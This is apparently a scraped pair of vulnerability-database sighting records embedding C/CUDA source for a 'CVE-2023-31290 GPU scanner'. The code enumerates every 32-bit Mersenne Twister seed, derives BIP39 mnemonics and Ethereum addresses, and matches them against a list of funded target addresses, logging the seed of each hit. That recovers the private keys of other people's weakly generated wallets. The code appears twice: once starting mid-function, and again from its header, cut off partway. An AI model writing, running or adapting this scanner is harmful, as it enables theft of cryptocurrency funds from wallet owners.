(index & 0x80000000u) {\n data[0] = 0;\n memcpy(data + 1, key, 32);\n } else {\n if (priv_to_pub(e, key, data, 1) != 0) return -1;\n }\n data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n data[35] = (uint8_t)(index >> 8); data[36] = (uint8_t)index;\n if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n if (tweak_add(e, key, I) != 0) return -1;\n memcpy(cc, I + 32, 32);\n return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n 0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n 0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n 0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n 0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n 0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n 0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1, 3, 6, 10, 15, 21, 28, 36, 45, 55, 2, 14,\n 27, 41, 56, 8, 25, 43, 62, 18, 39, 61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7, 11, 17, 18, 3, 5, 16, 8, 21, 24, 4,\n 15, 23, 19, 13, 12, 2, 20, 14, 22, 9, 6, 1};\nstatic void keccakf(uint64_t st[25]) {\n for (int round = 0; round < 24; round++) {\n uint64_t bc[5];\n for (int i = 0; i < 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n for (int i = 0; i < 5; i++) {\n uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] << 1) | (bc[(i + 1) % 5] >> 63));\n for (int j = 0; j < 25; j += 5) st[j + i] ^= t;\n }\n uint64_t t = st[1];\n for (int i = 0; i < 24; i++) {\n int j = KECCAKF_PILN[i];\n bc[0] = st[j];\n st[j] = (t << KECCAKF_ROTC[i]) | (t >> (64 - KECCAKF_ROTC[i]));\n t = bc[0];\n }\n for (int j = 0; j < 25; j += 5) {\n uint64_t tmp[5];\n for (int i = 0; i < 5; i++) tmp[i] = st[j + i];\n for (int i = 0; i < 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) & tmp[(i + 2) % 5];\n }\n st[0] ^= KECCAKF_RNDC[round];\n }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n uint64_t st[25];\n memset(st, 0, sizeof(st));\n uint8_t *s = (uint8_t *)st;\n const size_t rsiz = 136;\n while (inlen >= rsiz) {\n for (size_t i = 0; i < rsiz; i++) s[i] ^= in[i];\n keccakf(st);\n in += rsiz;\n inlen -= rsiz;\n }\n for (size_t i = 0; i < inlen; i++) s[i] ^= in[i];\n s[inlen] ^= 0x01;\n s[rsiz - 1] ^= 0x80;\n keccakf(st);\n memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n if (ckd_priv(e, key, cc, 0) != 0) return -1;\n if (ckd_priv(e, key, cc, 0) != 0) return -1;\n if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n keccak256(uncomp + 1, 64, h);\n memcpy(addr, h + 12, 20);\n return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n static const char *h = \"0123456789abcdef\";\n out[0] = '0'; out[1] = 'x';\n for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n int fd = open(path, O_RDONLY);\n if (fd < 0) return -1;\n struct stat st;\n if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n g_ntargets = (size_t)st.st_size / 20;\n g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n uint8_t kh[32];\n keccak256((const uint8_t *)\"\", 0, kh);\n char khex[65];\n static const char *hh = \"0123456789abcdef\";\n for (int i = 0; i < 32; i++) { khex[2 * i] = hh[kh[i] >> 4]; khex[2 * i + 1] = hh[kh[i] & 0xf]; }\n khex[64] = 0;\n if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n printf(\"host keccak empty FAIL %s\\n\", khex);\n return 1;\n }\n printf(\"host keccak empty PASS\\n\");\n const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n uint8_t seed[64], addr[20];\n if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n return 1;\n EcTls e;\n if (ec_tls_init(&e) != 0) return 1;\n int rc = eth_from_seed64(&e, seed, addr);\n ec_tls_free(&e);\n char hx[43];\n hex20(addr, hx);\n int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n CHECK_CUDA(cudaSetDevice(dev));\n CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n uint8_t *d_out;\n CHECK_CUDA(cudaMalloc(&d_out, 64));\n k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n CHECK_CUDA(cudaDeviceSynchronize());\n uint8_t got[64];\n CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n cudaFree(d_out);\n const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n uint8_t exp[64];\n PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n int ok = memcmp(got, exp, 64) == 0;\n printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n if (!ok) {\n printf(\" exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n printf(\" got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n }\n EcTls e;\n if (ec_tls_init(&e) != 0) return 1;\n uint8_t addr[20];\n eth_from_seed64(&e, got, addr);\n ec_tls_free(&e);\n char hx[43];\n hex20(addr, hx);\n int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n {\n EcTls e;\n if (ec_tls_init(&e) != 0) {\n fprintf(stderr, \"ec_tls_init fail\\n\");\n } else {\n#pragma omp for schedule(static)\n for (int i = 0; i < n; i++) {\n uint8_t addr[20];\n if (eth_from_seed64(&e, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n char hx[43];\n hex20(addr, hx);\n pthread_mutex_lock(&hits_mu);\n fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n fflush(hits_fp);\n pthread_mutex_unlock(&hits_mu);\n __sync_fetch_and_add(&g_hits, 1);\n fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n }\n }\n }\n ec_tls_free(&e);\n }\n#else\n EcTls e;\n if (ec_tls_init(&e) != 0) return;\n for (int i = 0; i < n; i++) {\n uint8_t addr[20];\n if (eth_from_seed64(&e, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n char hx[43];\n hex20(addr, hx);\n fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n fflush(hits_fp);\n __sync_fetch_and_add(&g_hits, 1);\n fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n }\n }\n ec_tls_free(&e);\n#endif\n __sync_fetch_and_add(&g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n const char *tpath = \"targets.bin\";\n const char *hpath = \"hits.jsonl\";\n uint64_t start = 0, count = 1ULL << 32;\n int threads = 256;\n int gpu_id = 0;\n if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n if (host_selftest_cpu()) return 1;\n int ndev = 0;\n CHECK_CUDA(cudaGetDeviceCount(&ndev));\n printf(\"cuda devices=%d\\n\", ndev);\n if (ndev < 1) return 1;\n return gpu_selftest(0);\n }\n for (int i = 1; i < argc; i++) {\n if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n else if (!strcmp(argv[i], \"--gpu\") && i + 1 < argc) gpu_id = atoi(argv[++i]);\n }\n if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n hits_fp = fopen(hpath, \"a\");\n if (!hits_fp) { perror(\"hits\"); return 1; }\n if (host_selftest_cpu() || gpu_selftest(gpu_id)) {\n fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n return 1;\n }\n int ndev = 0;\n CHECK_CUDA(cudaGetDeviceCount(&ndev));\n if (ndev < 1) return 1;\n if (gpu_id < 0 || gpu_id >= ndev) {\n fprintf(stderr, \"bad --gpu %d (have %d)\\n\", gpu_id, ndev);\n return 1;\n }\n printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpu=%d/%d targets=%zu\\n\", start, count, gpu_id, ndev, g_ntargets);\n fflush(stdout);\n\n const int BATCH = 1 << 18;\n#ifdef _OPENMP\n g_inner_threads = threads;\n if (g_inner_threads < 8) g_inner_threads = 8;\n printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n uint64_t done_at = start + count;\n if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n struct timespec t0;\n clock_gettime(CLOCK_MONOTONIC, &t0);\n\n {\n CHECK_CUDA(cudaSetDevice(gpu_id));\n CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n uint8_t *d_seed = NULL;\n CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n for (uint64_t s = start; s < done_at; ) {\n int n = BATCH;\n if ((uint64_t)n > done_at - s) n = (int)(done_at - s);\n int block = 128;\n int grid = (n + block - 1) / block;\n k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n CHECK_CUDA(cudaDeviceSynchronize());\n CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n process_batch((uint32_t)s, n, h_seed);\n {\n struct timespec t1;\n clock_gettime(CLOCK_MONOTONIC, &t1);\n double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n uint64_t done = __sync_add_and_fetch(&g_done, 0);\n uint64_t hits = __sync_add_and_fetch(&g_hits, 0);\n double r = done / (sec > 0.001 ? sec : 0.001);\n double eta = r > 0 ? (count - done) / r : 0;\n fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n done, count, 100.0 * done / (double)count, r, hits, eta);\n }\n s += (uint64_t)n;\n }\n free(h_seed);\n cudaFree(d_seed);\n }\n printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&g_hits, 0));\n fclose(hits_fp);\n return 0;\n}\n", "creation_timestamp": "2026-09-04T01:54:41.868651Z"} 2026-09-04T01:54:41.868651+00:00 https://vulnerability.circl.lu/sighting/ea2b0e3a-384b-4da4-8f65-e7155a92adba/export 2026-09-17T16:34:29.139866+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "ea2b0e3a-384b-4da4-8f65-e7155a92adba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/164932e17b7d24453beb2bb4fb5bb345", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host: BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x) \\\n do { \\\n cudaError_t _e = (x); \\\n if (_e != cudaSuccess) { \\\n fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n exit(1); \\\n } \\\n } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n 0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n 0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n 0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n 0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n 0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n 0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n 0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n 0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n 0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n 0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n 0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n 0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n 0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n 0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n 0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n 0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n 0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n 0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n 0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n 0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8); p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n uint64_t W[80];\n#pragma unroll\n for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n for (int i = 16; i < 80; i++) {\n uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n }\n uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n for (int i = 0; i < 80; i++) {\n uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n uint64_t ch = (e & f) ^ ((~e) & g);\n uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n uint64_t t2 = S0 + maj;\n h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n }\n s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n 0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n uint8_t blk[128];\n int n = len;\n const uint8_t *p = data;\n while (n >= 128) {\n sha512_compress(st, p);\n p += 128;\n n -= 128;\n }\n memset(blk, 0, 128);\n if (n) memcpy(blk, p, n);\n blk[n] = 0x80;\n if (n >= 112) {\n sha512_compress(st, blk);\n memset(blk, 0, 128);\n }\n store_be64(blk + 120, (uint64_t)len * 8);\n sha512_compress(st, blk);\n#pragma unroll\n for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n for (int i = 0; i < 128; i++) {\n uint8_t k = (i < klen) ? key[i] : 0;\n ipad[i] = k ^ 0x36;\n opad[i] = k ^ 0x5c;\n }\n memcpy(buf, ipad, 128);\n memcpy(buf + 128, msg, mlen);\n sha512(buf, 128 + mlen, inner);\n memcpy(buf, opad, 128);\n memcpy(buf + 128, inner, 64);\n sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n /* salt = \"mnemonic\" || INT_32_BE(1) */\n uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n uint8_t u[64], t[64];\n hmac_sha512(pass, plen, salt, 12, u);\n memcpy(t, u, 64);\n for (int i = 1; i < 2048; i++) {\n hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n for (int j = 0; j < 64; j++) t[j] ^= u[j];\n }\n memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n uint32_t mt[624];\n mt[0] = seed;\n for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n /* one twist, then 32 outputs, keep first 16 bytes */\n for (int i = 0; i < 624; i++) {\n uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n if (y & 1) v ^= 0x9908b0dfu;\n mt[i] = v;\n }\n for (int i = 0; i < 16; i++) {\n uint32_t y = mt[i];\n y ^= y >> 11;\n y ^= (y << 7) & 0x9d2c5680u;\n y ^= (y << 15) & 0xefc60000u;\n y ^= y >> 18;\n ent[i] = (uint8_t)(y & 0xff);\n }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n uint32_t W[64];\n uint8_t blk[64] = {0};\n memcpy(blk, ent, 16);\n blk[16] = 0x80;\n blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n for (int i = 0; i < 16; i++)\n W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n for (int i = 16; i < 64; i++) {\n uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n }\n uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n for (int i = 0; i < 64; i++) {\n uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n uint32_t ch = (e & f) ^ ((~e) & g);\n uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n uint32_t t2 = S0 + maj;\n h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n }\n a += 0x6a09e667;\n return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n uint8_t ent[16];\n mt_entropy16(seed, ent);\n uint8_t bits[17];\n memcpy(bits, ent, 16);\n bits[16] = sha256_first_byte(ent);\n int pos = 0;\n for (int w = 0; w < 12; w++) {\n int idx = 0;\n int bit = w * 11;\n for (int j = 0; j < 11; j++) {\n int p = bit + j;\n idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n }\n int wl = D_WLEN[idx];\n if (w) mnemo[pos++] = ' ';\n for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n }\n mnemo[pos] = 0;\n return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n int i = blockIdx.x * blockDim.x + threadIdx.x;\n if (i >= n) return;\n uint8_t mnemo[128];\n int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n unsigned int olen = 64;\n return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n EC_GROUP *group;\n BN_CTX *bn;\n BIGNUM *order, *k, *t;\n EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n e->group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n e->bn = BN_CTX_new();\n e->order = BN_new();\n e->k = BN_new();\n e->t = BN_new();\n e->P = e->group ? EC_POINT_new(e->group) : NULL;\n if (!e->group || !e->bn || !e->order || !e->k || !e->t || !e->P) return -1;\n return EC_GROUP_get_order(e->group, e->order, e->bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n if (e->P) EC_POINT_free(e->P);\n if (e->t) BN_free(e->t);\n if (e->k) BN_free(e->k);\n if (e->order) BN_free(e->order);\n if (e->bn) BN_CTX_free(e->bn);\n if (e->group) EC_GROUP_free(e->group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n if (!BN_bin2bn(priv, 32, e->k)) return -1;\n if (EC_POINT_mul(e->group, e->P, e->k, NULL, NULL, e->bn) != 1) return -1;\n size_t want = compressed ? 33 : 65;\n point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n if (EC_POINT_point2oct(e->group, e->P, form, out, want, e->bn) != want) return -1;\n return 0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n if (!BN_bin2bn(key, 32, e->k) || !BN_bin2bn(il, 32, e->t)) return -1;\n if (BN_is_zero(e->t) || BN_cmp(e->t, e->order) >= 0) return -1;\n if (BN_mod_add(e->k, e->k, e->t, e->order, e->bn) != 1) return -1;\n if (BN_is_zero(e->k)) return -1;\n return BN_bn2binpad(e->k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n uint8_t data[37], I[64];\n if (index & 0x80000000u) {\n data[0] = 0;\n memcpy(data + 1, key, 32);\n } else {\n if (priv_to_pub(e, key, data, 1) != 0) return -1;\n }\n data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n data[35] = (uint8_t)(index >> 8); data[36] = (uint8_t)index;\n if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n if (tweak_add(e, key, I) != 0) 